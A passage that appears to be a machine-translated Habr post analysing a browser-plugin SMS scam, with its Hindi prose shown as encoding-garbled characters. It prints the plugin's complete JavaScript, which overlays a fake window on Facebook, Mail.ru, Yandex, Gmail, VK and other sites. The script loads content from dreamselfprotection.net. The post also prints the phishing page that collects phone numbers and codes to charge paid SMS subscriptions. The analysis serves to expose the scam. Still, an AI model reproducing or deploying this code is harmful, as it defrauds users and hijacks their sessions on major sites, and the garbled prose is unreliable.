рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреНрд▓рдЧрдЗрдиреНрд╕ рдХреЗ рдПрдХ рд╕реЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдПрд╕рдПрдордПрд╕ рд░реИрдВрд╕рдорд╡реЗрдпрд░

рджреВрд╕рд░реЗ рджрд┐рди рдореИрдВ рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдХреЗ рд▓рд┐рдП рдкреНрд▓рдЧ-рдЗрди рдХреЗ рд╕реЗрдЯ рдХреЗ рд░реВрдк рдореЗрдВ рдПрдХ рддрд╛рдЬрд╝рд╛ рдПрд╕рдПрдордПрд╕-рд░реИрдирд╕рдорд╡реЗрдпрд░ рд▓реЗрдХрд░ рдЖрдпрд╛ред рдореИрдВ рдмрд┐рд▓реНрдХреБрд▓ рдирд╣реАрдВ рдХрд╣ рд╕рдХрддрд╛ рдХрд┐ рд╡рд╣ рдХрд╛рд░ рдкрд░ рдХреИрд╕реЗ рдЪрдврд╝рд╛, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдкрддрд╛ рд╣реИ рдХрд┐ рдЙрд╕рдХреЗ рдЕрдВрджрд░ рдХреНрдпрд╛ рд╣реИред рдЗрд╕ рдорд╣реАрдиреЗ рдХреА рдкрд╛рдВрдЪрд╡реАрдВ рддрд╛рд░реАрдЦ рд╕реЗ рдЖрдИрдИ рдХреЗ рд▓рд┐рдП рдкреНрд▓рдЧ-рдЗрди рдХреЗ рд╕рдВрдХрд▓рди рддрд┐рдерд┐рдпреЛрдВ рдХреЛ рджреЗрдЦрддреЗ рд╣реБрдП, рдЯреБрдХрдбрд╝рд╛ рддрд╛рдЬрд╛ рд╣реИред





рддреЛ, рдпрд╣ рд╕рдВрдХреНрд░рдордг рдКрдкрд░ рд╕реНрдХреНрд░реАрдирд╢реЙрдЯ рдореЗрдВ рджрд┐рдЦрд╛рдпрд╛ рдЧрдпрд╛ рд╣реИред рдлреЗрд╕рдмреБрдХ, Mail.ru, Yandex, Google, Rambler рдФрд░ рд╕рд╣рдкрд╛рдард┐рдпреЛрдВ рдХреЗ рд▓рд┐рдП рднреА рднрд┐рдиреНрдирддрд╛рдПрдВ рд╣реИрдВ:





рдпрд╣ рдорд╢реАрди рдкрд░ рд╕реНрдерд╛рдкрд┐рдд рд╕рднреА рдмреНрд░рд╛рдЙрдЬрд╝рд░реЛрдВ рдореЗрдВ рджрд┐рдЦрд╛рдИ рджреЗрддрд╛ рд╣реИред рдлреЛрди рдирдВрдмрд░ рджрд░реНрдЬ рдХрд░рддреЗ рд╕рдордп, рд╡рд╣ 1005 рд╕реЗ рдПрдХ рдПрд╕рдПрдордПрд╕ рднреЗрдЬрддрд╛ рд╣реИ, "рд╣рд╛рдВ" рдХрд╛ рдЬрд╡рд╛рдм рджреЗрдиреЗ рдХреЗ рд▓рд┐рдП рдХрд╣рддрд╛ рд╣реИ, рдЬрд┐рд╕рдореЗрдВ рдкреНрд░рддрд┐рд╡рд╛рджреА 135 рд░реВрдмрд▓ рдЦрд░реНрдЪ рд╣реЛрдВрдЧреЗ (рдФрд░, рд╕рдмрд╕реЗ рдЕрдзрд┐рдХ рд╕рдВрднрд╛рд╡рдирд╛ рд╣реИ, рдХреБрдЫ рдмрдХрд╡рд╛рд╕ рдХреЗ рд▓рд┐рдП рдПрдХ рд╕рджрд╕реНрдпрддрд╛)ред рдЬрд┐рд╕ рддрд░рд╣ рд╕реЗ, рдпрд╣ рдЪрдХ рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдореЗрдВ рд▓реЙрдЧ рдЗрди рдХреА рдУрд░ рд╕реЗ рд╕рдВрджреЗрд╢ рднреЗрдЬрдиреЗ рдХреЗ рд▓рд┐рдП рд▓рдЧрд╛ рд╣реБрдЖ рд╣реИред

рдпрд╣ рджреЗрдЦрд╛ рдЬрд╛ рд╕рдХрддрд╛ рд╣реИ рдХрд┐ "рд╡реНрдпрд╡рд╕рд╛рдп" рдХрд┐рд╕реА рддрд░рд╣ рдХреА рдЧреБрдгрд╡рддреНрддрд╛ рдХреА рдорд╛рдВрдЧ рдХрд░рдиреЗ рд▓рдЧрд╛ред рдкреНрд░рддреНрдпреЗрдХ рд╕реЗрд╡рд╛ рдЕрдкрдиреЗ рд╕реНрд╡рдпрдВ рдХреЗ рд╡рд┐рдВрдбреЛ рдбрд┐рдЬрд╝рд╛рдЗрди рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд░рддреА рд╣реИред рдЗрд╕ рддрдереНрдп рдХреЗ рдХрд╛рд░рдг рдХрд┐ рд╕рдм рдХреБрдЫ рдмреНрд░рд╛рдЙрдЬрд╝рд░ рдкреНрд▓рдЧ-рдЗрди рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдХрд╛рд░реНрдпрд╛рдиреНрд╡рд┐рдд рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рд╕рдмреНрд╕рдЯреНрд░реЗрдЯ рдореЗрдВ рдЕрдкрдиреЗ рдЦрд╛рддреЗ рдХреЛ рджреЗрдЦрддрд╛ рд╣реИ, рдЬреЛ рдПрдХ рдирд┐рд╢реНрдЪрд┐рдд рдбрд┐рдЧреНрд░реА рдХрд╛ рдХрд╛рд░рдг рдмрдирддрд╛ рд╣реИред рдЦреИрд░, рдЪреВрдВрдХрд┐ рдЕрдм рдореЗрдЬрдмрд╛рди (рдХрд┐рд╕реА рднреА рд╕реНрдХреВрд▓реА рдмрдЪреНрдЪреЗ рдХреЛ рдЗрд╕рдХреЗ рдмрд╛рд░реЗ рдореЗрдВ рдкрд╣рд▓реЗ рд╕реЗ рд╣реА рдкрддрд╛ рд╣реИ) рдореЗрдВ рдХреЛрдИ рднреА рдХрдЪрд░рд╛ рд▓рд┐рдЦрдирд╛ рдлреИрд╢рдиреЗрдмрд▓ рдирд╣реАрдВ рд╣реИ, рдПрдХ рд╡реИрдХрд▓реНрдкрд┐рдХ рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛ рдЙрдкрдпреЛрдЧ рдХрд┐рдпрд╛ рдЧрдпрд╛ рдерд╛ред





рддреЛ, рд╕рдВрдХрд▓рдХ рдореЗрдВ рдХреНрд░реЛрдо, IE рдФрд░ FF, рдСрдкреЗрд░рд╛ рдХреЗ рд▓рд┐рдП рдЙрдкрдпреЛрдЧрдХрд░реНрддрд╛ рдирд╛рдо рдХреЗ рд▓рд┐рдП рдкреНрд▓рдЧрдЗрдиреНрд╕ рд╢рд╛рдорд┐рд▓ рд╣реИрдВред

рдЕрдВрджрд░ рдереЛрдбрд╝рд╛ рдЕрд▓рдЧ рд╣реИред рд╕рднреА рдПрдХ рд╣реА рдЬрд╛рд╡рд╛рд╕реНрдХреНрд░рд┐рдкреНрдЯ рдХреЛрдб рдХреЛ рдирд┐рд╖реНрдкрд╛рджрд┐рдд рдХрд░рддреЗ рд╣реИрдВ:

function my_addLoadEvent(func) { if(document.readyState == 'complete'){ func(); } else{ var oldonload = window.onload; if (typeof window.onload != 'function') { window.onload = func; } else { window.onload = function() { if (oldonload) { oldonload(); } func(); } } } } var cur_url = document.location.toString(); if('https:' == document.location.protocol) { if (typeof(testInformer) === 'undefined') { var testInformer = 1; var tstImg = new Image(); tstImg.src = 'http://dreamselfprotection.net/check.php'; tstImg.onload = function(){ var ex_url = cur_url.split('/'); var the_host = ex_url[2]; if(the_host.substr(0,4) == 'www.') the_host = the_host.substr(4); var in_hosts = { 'facebook.com' : 'facebook', 'my.mail.ru' : 'mymailru', 'otvet.mail.ru' : 'mailru', 'games.mail.ru' : 'mailru', 'love.mail.ru' : 'mailru', 'news.mail.ru' : 'mailru', 'mail.ru' : 'mailru', 'e.mail.ru' : 'mailru', 'mail.yandex.ru' : 'mailyandex', 'yandex.ru' : 'mailyandex', 'ya.ru' : 'mailyandex', 'mail.google.com' : 'gmail', 'accounts.google.com' : 'gmail', 'gmail.com' : 'gmail', 'google.com' : 'gmail', 'google.ru' : 'gmail', 'vk.com' : 'vkontakte', 'vkontakte.ru' : 'vkontakte', 'odnoklassniki.ru' : 'odnoklassniki', 'rambler.ru' : 'rambler', 'mail.rambler.ru' : 'rambler', 'nova.rambler.ru' : 'rambler', 'news.rambler.ru' : 'rambler' }; if(typeof(in_hosts[the_host]) !== 'undefined'){ my_addLoadEvent(function(){ var div = document.createElement('div'); div.style.position = 'fixed'; div.style.left = '0px'; div.style.top = '0px'; div.style.zIndex = '100000'; div.style.background = '#fff'; div.style.width = '100%'; div.style.height = '100%'; div.style.opacity = '0.8'; div.style.filter = 'alpha(opacity=80)'; var innerDiv = document.createElement('div'); innerDiv.style.position = 'fixed'; innerDiv.style.left = '50%'; innerDiv.style.top = '50%'; innerDiv.style.marginLeft = '-200px'; innerDiv.style.marginTop = '-125px'; innerDiv.style.zIndex = '100001'; innerDiv.style.background = '#fff'; innerDiv.style.width = '400px'; innerDiv.style.height = '250px'; innerDiv.innerHTML = '<iframe width="100%" height="100%" frameborder="0" scrolling="no" src="http://dreamselfprotection.net/real_iframe.php?template='+in_hosts[the_host]+'&from='+the_host+'"></iframe>'; document.getElementsByTagName('body')[0].appendChild(div); document.getElementsByTagName('body')[0].appendChild(innerDiv); }); } } } } else { var sc = document.createElement('script'); sc.type = 'text/javascript'; sc.async = false; sc.src = 'http://dreamselfprotection.net/iframe.php'; var b = document.getElementsByTagName('body')[0];b.appendChild(sc); } 


рдЙрдкрд░реЛрдХреНрдд рдХреЛрдб рдкрд░реАрдХреНрд╖рдг рдЫрд╡рд┐ рдХреЛ рд▓реЛрдб рдХрд░рддрд╛ рд╣реИ (рдЬрд╛рд╣рд┐рд░рд╛ рддреМрд░ рдкрд░, рдмрд╕ рдЬрд╛рдБрдЪ рдХрд░ рд░рд╣рд╛ рд╣реИ рдХрд┐ рд╕рд░реНрд╡рд░ рдЕрднреА рднреА рдЬреАрд╡рд┐рдд рд╣реИ), рдЖрдЗрдлреНрд░реЗрдо рдХреЗ рд▓рд┐рдП рдЖрд╡рд╢реНрдпрдХ рдкреИрд░рд╛рдореАрдЯрд░ рдкрд╛рд╕ рдХрд░рддрд╛ рд╣реИ, рдЬрд┐рд╕реЗ рд╡рд╣ рдкреГрд╖реНрда рдХреЗ рд╢реАрд░реНрд╖ рдкрд░ рд╕рдореНрдорд┐рд▓рд┐рдд рдХрд░рддрд╛ рд╣реИред

real_iframe.php рдлреНрд░реЗрдо рдХреА рд╕рд╛рдордЧреНрд░реА рдХреЗ рд▓рд┐рдП рдЬрд┐рдореНрдореЗрджрд╛рд░ рд╣реИ, рдирд┐рдореНрдирд▓рд┐рдЦрд┐рдд рдЙрддреНрдкрдиреНрди рд╣реЛрддрд╛ рд╣реИ:

 <!DOCTYPE html> <html> <head> <meta http-equiv="Content-Type" content="text/html; charset=utf-8" /> <link rel="stylesheet" type="text/css" href="styles/.css?rnd=1355016550" /> <script src="//ajax.googleapis.com/ajax/libs/jquery/1.8.3/jquery.min.js"></script> </head> <body> <div class="header">- </div> <div id="contentBlock"> <div class="desc_text">  ip   .     . ,      .</div> <div class="regForm"> <label for="phone" class="phoneLabel">   :</label> <input type="tel" name="phone" id="phone" class="phone" /> <input type="submit" class="regButton" value="" onclick="registration();return false;" /> <div style="clear:both"></div> <div class="example">: 79161234567</div> </div> </div> <div style="clear:both"></div> <div class="error"></div> <div class="loading">...</div> <script type="text/javascript"> function keyfunc(){ alert(window.event.keyCode); } function showError(txt) { $('.error').html(txt); $('.error').fadeIn(); setTimeout('$(".error").fadeOut()',1000); } function loading(s) { if(s == 1) { $('.loading').show(); //$('.regButton').attr('disabled', 'disabled'); } else { $('.loading').hide(); //$('.regButton').removeAttr('disabled'); } } var temp = {'phone' : ''}; var mt = 1; var loaded = 0; function registration() { var reg = new RegExp("79|89", "i"); var reg2 = new RegExp("[^0-9]", "i"); var phone_num = $('#phone').val(); var hash = 'bbfae214e1fc9e75b95d64724529eeb9'; if((phone_num.length!=11) || (reg2.test(phone_num) ==true)) { showError('   '); } else { loading(1); $.post('request.php',{'c':'reg','num':phone_num,'user':hash,'from':''},function(data){ temp.phone = phone_num; var a = jQuery.parseJSON(data); if(a.redirect) { $('#contentBlock').html('<div class="desc_text">          .</div><br/><input style="margin-left:10px;" type="button" class="regButton" value="" onclick="window.open(\''+a.redirect+'#TextBoxActivationCode\',\'\',\'toolbar=0,location=0,menubar=0,directories=0,resizable=0,scrollbars=0,width=360,height=280\');" />'); } else { if(a.success) { if(a.mo) { mt = 0; moCode(); } else { mt = 1; enterCode(phone_num); } } else { showError(a.error); } } loading(0); }); //mt = 0; //moCode(); } } function moCode() { $('#contentBlock').html('<div class="desc_text"> ,     ,      .</div>' +'<div class="regForm">' +'<label for="code" class="phoneLabel"> :</label>' +'<input type="text" name="code" id="code" class="phone" />' +'<input type="button" class="regButton" onclick="checkCode()" value="" />' +'<div style="clear:both"></div>' +'<br/><a href="#" onclick="mainWindow();return false;" class="reCodeLink">  .</a>' +'</div>'); } function enterCode(phone) { if(!phone) { phone = 79; } $('.cl_info').html('     .     .'); $('.cl_form').html('<label> : </label>' +'<input type="text" value="'+phone+'" id="phone" maxlength="11" DISABLED /><br>' +'<label>: </label>' +'<input type="text" value="" id="code" maxlength=""><br/>'); $('#controlLink').html(' .').attr('onclick','mainWindow()'); $('#mbutton').attr('onclick','checkCode()'); } function mainWindow() { $('#contentBlock').html('<div class="desc_text">  ip   .     . ,      .</div>' +'<div class="regForm">' +'<label for="phone" class="phoneLabel">   :</label>' +'<input type="tel" name="phone" id="phone" class="phone" />' +'<input type="button" class="regButton" value="" onclick="registration();return false;" />' +'<div style="clear:both"></div>' +'<div class="example">: 79161234567</div>' +'</div>'); } function checkCode() { var phone = temp.phone; var code = $('#code').val(); loading(1); $.post('request.php',{'c':'code','phone':phone,'code':code,'mt':mt},function(data){ // alert(data); var a = jQuery.parseJSON(data); if(a.success) { document.location.href = '/registered.php?secret=ReallyRegistered'; } else { showError(' '); loading(0); } }); } function rand (min, max) { var argc = arguments.length; if (argc === 0) { min = 0; max = 2147483647; } else if (argc === 1) { throw new Error('Warning: rand() expects exactly 2 parameters, 1 given'); } return Math.floor(Math.random() * (max - min + 1)) + min; } </script> <div style="display:none"> <!--LiveInternet counter--><script type="text/javascript"><!-- document.write("<a href='http://www.liveinternet.ru/click' "+ "target=_blank><img src='//counter.yadro.ru/hit?t52.6;r"+ escape(document.referrer)+((typeof(screen)=="undefined")?"": ";s"+screen.width+"*"+screen.height+"*"+(screen.colorDepth? screen.colorDepth:screen.pixelDepth))+";u"+escape(document.URL)+ ";"+Math.random()+ "' alt='' title='LiveInternet: number of pageviews and visitors"+ " for 24 hours is shown' "+ "border='0' width='88' height='31'><\/a>") //--></script><!--/LiveInternet--> </div> </body> </html> 


рдпрд╣рд╛рдВ рд╕рдм рдХреБрдЫ рдХрдореЛрдмреЗрд╢ рдкрд╛рд░рджрд░реНрд╢реА рд╣реИред рд╡рд┐рдВрдбреЛ рдХреА рд╕рд╛рдордЧреНрд░реА рдкреНрд░рджрд░реНрд╢рд┐рдд рдХреА рдЬрд╛рддреА рд╣реИ, рдЖрд╡рд╢реНрдпрдХ рд╕реАрдПрд╕рдПрд╕ рдХреЛ рдЦреАрдВрдЪ рд▓рд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдлреЙрд░реНрдо рдХреЛ рдорд╛рдиреНрдп рдХрд┐рдпрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдФрд░ рдпрджрд┐ рдпрд╣ рд╡реИрдз рд╣реИ, рддреЛ рд╕рдм рдХреБрдЫ request.php рдХреЛ рднреЗрдЬрд╛ рдЬрд╛рддрд╛ рд╣реИ, рдЬреЛ рд╡рд╛рд╕реНрддрд╡ рдореЗрдВ, рдкреНрд▓рд╛рд╕реНрдЯрд┐рдХ рдореАрдбрд┐рдпрд╛ LLC рдХреЗ рдЧреЗрдЯрд╡реЗ рдХреЗ рдорд╛рдзреНрдпрдо рд╕реЗ рдПрд╕рдПрдордПрд╕ рднреЗрдЬрддрд╛ рд╣реИред рджреЛ рдорд╣рддреНрд╡рдкреВрд░реНрдг рд╡рд┐рд╡рд░рдг рдпрд╣рд╛рдБ рдзреНрдпрд╛рди рджреЗрдиреЗ рдпреЛрдЧреНрдп рд╣реИрдВ:

1. рджрд░реНрдЬ рдХрд┐рдП рдЧрдП рдХреЛрдб рдХреЗ рд╕рддреНрдпрд╛рдкрди рдХреЛ рд▓рд╛рдЧреВ рдХрд┐рдпрд╛ рдФрд░ рдЦрд┐рдбрд╝рдХреА рдХреЛ рд╣рдЯрд╛ рджрд┐рдпрд╛ (рдкрд░реАрдХреНрд╖рдг рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛)ред
2. рдЖрдВрдХрдбрд╝реЗ liveinternet.ru рдХрд╛рдЙрдВрдЯрд░ рджреНрд╡рд╛рд░рд╛ рд░рдЦреЗ рдЧрдП рд╣реИрдВред

рдпрд╣реА рд╣реИ, рджреГрд╖реНрдЯрд┐рдХреЛрдг рдХрд╛рдлреА рдЧрд╣рди рд╣реИ, рд▓реЗрдХрд┐рди рдЕрдВрддрд░рд╛рд▓ рд╣реИрдВ:

1. рд╕рд░реНрд╡рд░ рдмреЗрдХрд╛рд░ рддреИрдирд╛рдд рд╣реИред рдЙрджрд╛рд╣рд░рдг рдХреЗ рд▓рд┐рдП, рдЯрд╛рдЗрдордЬрд╝реЛрди рд╕реЗрдЯ рдирд╣реАрдВ рдХрд┐рдпрд╛ рдЧрдпрд╛ рд╣реИ, phpinfo рдФрд░ SSH рдмрдВрдж рдирд╣реАрдВ рд╣реИрдВ, рдЬреЛ рдХрд┐ рдЕрдзрд┐рдХ рдпрд╛ рдХрдо рд╡рд┐рдЪрд╛рд░ рд╡рд╛рд▓реЗ рдХреЛрдб рдХреЗ рд╕рд╛рде рдХрд╛рдлреА рджреГрдврд╝рддрд╛ рд╕реЗ рд╡рд┐рдкрд░реАрдд рд╣реИред рдпрд╛ рддреЛ рдкреНрд░рд╢рд╛рд╕рдХ рдХреЗрд╡рд▓ рдХрд╛рдо рдХрд░реЗрдЧрд╛, рдпрд╛ рдкреНрд░реЛрдЧреНрд░рд╛рдорд░ рдЗрд╕реЗ рдЕрдкрдиреЗ рджрдо рдкрд░ рдХрд░реЗрдЧрд╛, рд╡рд┐рд╕реНрддрд╛рд░ рд╕реЗ рдирд╣реАрдВ рд╕рдордЭрдирд╛ рдЪрд╛рд╣рд┐рдП рдХрд┐ рдХреНрдпрд╛ рдХрд╛рдо рдХрд░рдирд╛ рдЪрд╛рд╣рд┐рдПред рджреЛрдиреЛрдВ рдорд╛рдорд▓реЛрдВ рдореЗрдВ, рд╡рд┐рдХреНрд░реЗрддрд╛ рдХреЗ рдкрд╛рд╕ рдЧрдзреЗ рджреНрд╡рд╛рд░рд╛ рд▓реЗ рдЬрд╛рдиреЗ рдХрд╛ рдПрдХ рдореМрдХрд╛ рд╣реИред
2. рдпрд╣ рдмрд╛рдд, рдЗрд╕ рддрдереНрдп рдХреЗ рдмрд╛рд╡рдЬреВрдж рдХрд┐ рд╡рд┐рдХреНрд░реЗрддрд╛ рдХреЛ рдЕрдкрдиреЗ рдХрд░реНрдо рдХреЛ рдмрд░реНрдмрд╛рдж рдХрд░рдиреЗ рдХреА рдЧрд╛рд░рдВрдЯреА рд╣реИ, рдФрд░ рд╢рд╛рдпрдж рдХрд░реНрдо рд╕реЗ рдереЛрдбрд╝рд╛ рдЕрдзрд┐рдХ, рд╕рднреНрдп рдкреИрд╕рд╛ рд▓рд╛рддрд╛ рд╣реИред рдЕрдиреНрдпрдерд╛, рдЗрд╕ рдмрдХрд╡рд╛рд╕ рдХреЗ рдбреЗрд╡рд▓рдкрд░ рдХреЛ рдЦрд╕рдЦрд╕ тАЛтАЛрдореЗрдВ CS6 рдлрд╝реЛрдЯреЛрд╢реЙрдк (рдЗрд╕ рддрдереНрдп рдХреЛ рдирд╣реАрдВ рдХрд┐ рд▓рд╛рдЗрд╕реЗрдВрд╕ рдкреНрд░рд╛рдкреНрдд рд╣реИ) рдкрд░ рдирд╣реАрдВ рдмреИрдард╛ рд╣реЛрдЧрд╛ред рд╡реИрд╕реЗ, Adobe рд╕рднреА рдЪрд┐рддреНрд░реЛрдВ рдореЗрдВ рдЕрджреНрд╡рд┐рддреАрдп рд╣реИрд╢ рдХреЛ рдПрдореНрдмреЗрдб рдХрд░рддрд╛ рд╣реИред рд╕рд┐рджреНрдзрд╛рдВрдд рд░реВрдк рдореЗрдВ, рд╡реЗ рдХрдореАрдиреЗ рдХреА рдкрд╣рдЪрд╛рди рдХрд░ рд╕рдХрддреЗ рд╣реИрдВред

рдИрдорд╛рдирджрд╛рд░ рд╣реЛрдиреЗ рдХреЗ рд▓рд┐рдП, рдореБрдЭреЗ рдирд╣реАрдВ рдкрддрд╛ рдХрд┐ рдпрд╣ рд╕рдм рдХреНрдпрд╛ рдХрд░рдирд╛ рд╣реИ, рд▓реЗрдХрд┐рди рдореБрдЭреЗ рдЙрдореНрдореАрдж рд╣реИ рдХрд┐ рдпрд╣ рджрд┐рд▓рдЪрд╕реНрдк рдерд╛ред

Source: https://habr.com/ru/post/In162075/


All Articles